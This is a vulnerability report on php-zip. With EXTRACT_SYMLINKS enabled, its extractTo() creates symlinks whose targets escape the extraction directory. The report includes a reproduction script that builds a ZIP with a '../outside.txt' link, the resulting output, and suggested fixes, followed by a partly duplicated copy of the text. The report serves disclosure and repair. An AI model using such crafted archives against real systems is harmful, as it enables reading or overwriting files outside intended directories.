php-zip symlink target boundary missing
Summary
Current php-zip validates only the destination entry path it constructs from the ZIP entry name. When symlink extraction is enabled, it stores the link payload and later calls FilesUtil::symlink($target, $linkPath, true) without checking whether $target escapes the extraction directory.
Details
I reproduced this against the tested upstream commit. Tested commit:
d25c2ab6b993157f18bc88a753a864ce23213f60 (2025-11-16T22:00:23+03:00)
Relevant code path:
php-zip/src/ZipFile.php lines 421-423: Unix symlink entries are identified and their raw target strings are queued in the $symlinks array.
php-zip/src/ZipFile.php lines 466-470: Queued symlinks are materialized after extraction by calling FilesUtil::symlink($target, $linkPath, $allowSymlink), with no containment or canonical-path validation on $target.
php-zip/src/Util/FilesUtil.php lines 284-290: When symlink extraction is allowed on Unix, FilesUtil::symlink() directly invokes PHP's symlink($target, $path) and performs no boundary check.
Root cause:
When ZipOptions::EXTRACT_SYMLINKS is enabled, extractTo() collects Unix symlink entries and later passes their raw target strings directly to symlink() without checking whether the resolved target stays inside the extraction root.
Related CVE reference: this is the same kind of bug as CVE-2024-12718 in python/cpython.
Reproduction
The following script fresh-clones php-zip, checks out the tested commit, creates a ZIP containing link_to_outside -> ../outside.txt, and calls the real ZipFile::extractTo() API with ZipOptions::EXTRACT_SYMLINKS => true.
#!/usr/bin/env bash
set -euo pipefail
PHP_ZIP_COMMIT="d25c2ab6b993157f18bc88a753a864ce23213f60"
workdir="$(mktemp -d)"
cleanup() {
set +e
chmod -R u+w "$workdir" 2>/dev/null || true
rm -rf "$workdir"
}
trap cleanup EXIT
git clone --quiet https://github.com/Ne-Lexa/php-zip.git "$workdir/php-zip"
cd "$workdir/php-zip"
git checkout --quiet "$PHP_ZIP_COMMIT"
mkdir "$workdir/repro" "$workdir/repro/src"
printf 'PHP-ZIP-SYMLINK-OUTSIDE\n' > "$workdir/repro/outside.txt"
ln -s ../outside.txt "$workdir/repro/src/link_to_outside"
(cd "$workdir/repro/src" && zip -y -q "$workdir/repro/symlink.zip" link_to_outside)
cat > "$workdir/repro/extract_symlink.php" <<'PHP'
<?php
declare(strict_types=1);
$repoSrc = $argv[1];
$zipPath = $argv[2];
$dest = $argv[3];
spl_autoload_register(static function (string $class) use ($repoSrc): void {
$prefix = 'PhpZip\\';
if (strncmp($class, $prefix, strlen($prefix)) !== 0) {
return;
}
$relative = substr($class, strlen($prefix));
$file = rtrim($repoSrc, '/\\') . '/' . str_replace('\\', '/', $relative) . '.php';
if (is_file($file)) {
require $file;
}
});
use PhpZip\Constants\ZipOptions;
use PhpZip\ZipFile;
mkdir($dest, 0777, true);
$entries = [];
$zipFile = new ZipFile();
$zipFile->openFile($zipPath)
->extractTo($dest, null, [ZipOptions::EXTRACT_SYMLINKS => true], $entries)
->close();
$link = $dest . '/link_to_outside';
echo 'DEST_LINK=' . $link . PHP_EOL;
echo 'DEST_LINK_IS_SYMLINK=' . (is_link($link) ? 'true' : 'false') . PHP_EOL;
echo 'DEST_LINK_TARGET=' . (is_link($link) ? readlink($link) : '') . PHP_EOL;
echo 'DEST_LINK_REALPATH=' . (realpath($link) ?: '') . PHP_EOL;
echo 'DEST_ROOT_REALPATH=' . realpath($dest) . PHP_EOL;
echo 'LINK_RESOLVES_OUTSIDE=' . ((realpath($link) !== false && strpos(realpath($link), realpath($dest) . DIRECTORY_SEPARATOR) !== 0) ? 'true' : 'false') . PHP_EOL;
PHP
php "$workdir/repro/extract_symlink.php" "$workdir/php-zip/src" "$workdir/repro/symlink.zip" "$workdir/repro/extract"
Observed result:
DEST_LINK=<temporary-directory>/repro/extract/link_to_outside
DEST_LINK_IS_SYMLINK=true
DEST_LINK_TARGET=../outside.txt
DEST_LINK_REALPATH=<temporary-directory>/repro/outside.txt
DEST_ROOT_REALPATH=<temporary-directory>/repro/extract
LINK_RESOLVES_OUTSIDE=true
Expected Behavior
Untrusted paths, archive entries, and link targets should be normalized and verified to stay inside the intended root before any file is read, written, moved, loaded, or executed.
Observed Behavior
extractTo() creates extract/link_to_outside as a symlink whose real path resolves to outside.txt outside the extraction root.
Impact
A malicious archive can plant symlinks inside the extracted tree that point outside the destination directory whenever the caller enables EXTRACT_SYMLINKS.
Suggested Fix Direction
- Resolve the candidate symlink target against the link's parent directory and reject it unless the resolved path is equal to the extraction root or nested beneath it.
- Treat absolute targets and relative targets that escape the root as unsafe, similar to the symlink-target checks used by tar-fs and zip-rs.
- Add regression tests for '../outside_target' and absolute-target cases when EXTRACT_SYMLINKS is enabled.
php-zip symlink target boundary missing
Summary
Current php-zip validates only the destination entry path it constructs from the ZIP entry name. When symlink extraction is enabled, it stores the link payload and later calls
FilesUtil::symlink($target, $linkPath, true)without checking whether$targetescapes the extraction directory.Details
I reproduced this against the tested upstream commit. Tested commit:
d25c2ab6b993157f18bc88a753a864ce23213f60(2025-11-16T22:00:23+03:00)Relevant code path:
php-zip/src/ZipFile.phplines421-423: Unix symlink entries are identified and their raw target strings are queued in the $symlinks array.php-zip/src/ZipFile.phplines466-470: Queued symlinks are materialized after extraction by calling FilesUtil::symlink($target, $linkPath, $allowSymlink), with no containment or canonical-path validation on $target.php-zip/src/Util/FilesUtil.phplines284-290: When symlink extraction is allowed on Unix, FilesUtil::symlink() directly invokes PHP's symlink($target, $path) and performs no boundary check.Root cause:
When ZipOptions::EXTRACT_SYMLINKS is enabled, extractTo() collects Unix symlink entries and later passes their raw target strings directly to symlink() without checking whether the resolved target stays inside the extraction root.
Related CVE reference: this is the same kind of bug as
CVE-2024-12718inpython/cpython.Reproduction
The following script fresh-clones php-zip, checks out the tested commit, creates a ZIP containing
link_to_outside -> ../outside.txt, and calls the realZipFile::extractTo()API withZipOptions::EXTRACT_SYMLINKS => true.Observed result:
Expected Behavior
Untrusted paths, archive entries, and link targets should be normalized and verified to stay inside the intended root before any file is read, written, moved, loaded, or executed.
Observed Behavior
extractTo()createsextract/link_to_outsideas a symlink whose real path resolves tooutside.txtoutside the extraction root.Impact
A malicious archive can plant symlinks inside the extracted tree that point outside the destination directory whenever the caller enables EXTRACT_SYMLINKS.
Suggested Fix Direction